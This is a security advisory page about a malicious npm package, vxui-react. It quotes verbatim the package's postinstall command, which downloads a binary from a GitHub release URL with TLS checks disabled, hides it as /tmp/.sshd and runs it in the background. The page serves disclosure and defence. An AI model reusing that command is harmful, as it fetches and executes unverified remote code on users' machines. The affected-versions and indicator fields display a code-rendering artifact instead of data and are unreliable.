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Incident detail

criticalnpm·malware·osv

Malicious code in vxui-react (npm)

vxui-react

Risk score

92

AI summary

Indexed incident for vxui-react (npm).

Description


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Source: amazon-inspector (bde616ebc21909bfa386bf8e49438da710f48b62ae3127f2a7259c71557a4242)

package.json declares a postinstall script that runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. On every npm install vxui-react, this fetches an opaque binary from a personal GitHub user (parikhpreyash4) unrelated to the package's publisher, with TLS verification explicitly disabled (-k), errors suppressed, the file staged to a hidden path masquerading as the SSH daemon (/tmp/.sshd), made executable, and launched detached in the background. The package advertises itself as a React UI component library; no legitimate purpose for this exists. The fetched URL is mutable (releases/latest), unsigned, and unverified. This is a classic install-time remote code execution dropper.

Technical details

Affected versions

<function fixed() { [native code] }

Indicators

  • affected_version<function fixed() { [native code] }75%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

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